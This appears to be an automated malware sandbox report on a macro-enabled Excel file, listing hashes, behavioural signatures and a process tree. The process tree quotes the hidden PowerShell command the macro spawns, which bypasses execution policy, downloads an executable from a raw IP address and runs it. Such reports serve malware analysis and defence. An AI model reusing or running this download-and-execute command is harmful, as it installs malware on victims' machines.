Resubmissions

11-06-2024 09:20

240611-la58ha1hnf 10

11-06-2024 09:18

240611-k9pt5a1hke 10

31-05-2024 08:15

240531-j5p4nach79 10

Analysis

  • max time kernel
    28s
  • max time network
    21s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11-06-2024 09:18

General

  • Target

    Copy0761000025.xlsm

  • Size

    430KB

  • MD5

    d01710a02c214a5f6e0197fd291c0b10

  • SHA1

    3b2ed35df644d1684660543c56370dc8686e1a53

  • SHA256

    b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d

  • SHA512

    45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5

  • SSDEEP

    12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2132

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zmr04stu.mcu.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • memory/320-22-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-257-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-21-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-4-0x00007FFDEA120000-0x00007FFDEA130000-memory.dmp

    Filesize

    64KB

  • memory/320-5-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-6-0x00007FFDEA120000-0x00007FFDEA130000-memory.dmp

    Filesize

    64KB

  • memory/320-9-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-11-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-12-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-10-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-16-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-18-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-19-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-20-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-3-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-17-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-2-0x00007FFDEA120000-0x00007FFDEA130000-memory.dmp

    Filesize

    64KB

  • memory/320-23-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-15-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-14-0x00007FFDE6D60000-0x00007FFDE6D70000-memory.dmp

    Filesize

    64KB

  • memory/320-13-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-24-0x00007FFDE6D60000-0x00007FFDE6D70000-memory.dmp

    Filesize

    64KB

  • memory/320-172-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-1-0x00007FFE2A135000-0x00007FFE2A136000-memory.dmp

    Filesize

    4KB

  • memory/320-256-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-0-0x00007FFDEA120000-0x00007FFDEA130000-memory.dmp

    Filesize

    64KB

  • memory/320-216-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/320-217-0x00007FFE2A135000-0x00007FFE2A136000-memory.dmp

    Filesize

    4KB

  • memory/320-218-0x00007FFE2A090000-0x00007FFE2A26B000-memory.dmp

    Filesize

    1.9MB

  • memory/2132-192-0x000002A66EAC0000-0x000002A66EB36000-memory.dmp

    Filesize

    472KB

  • memory/2132-185-0x000002A66E910000-0x000002A66E932000-memory.dmp

    Filesize

    136KB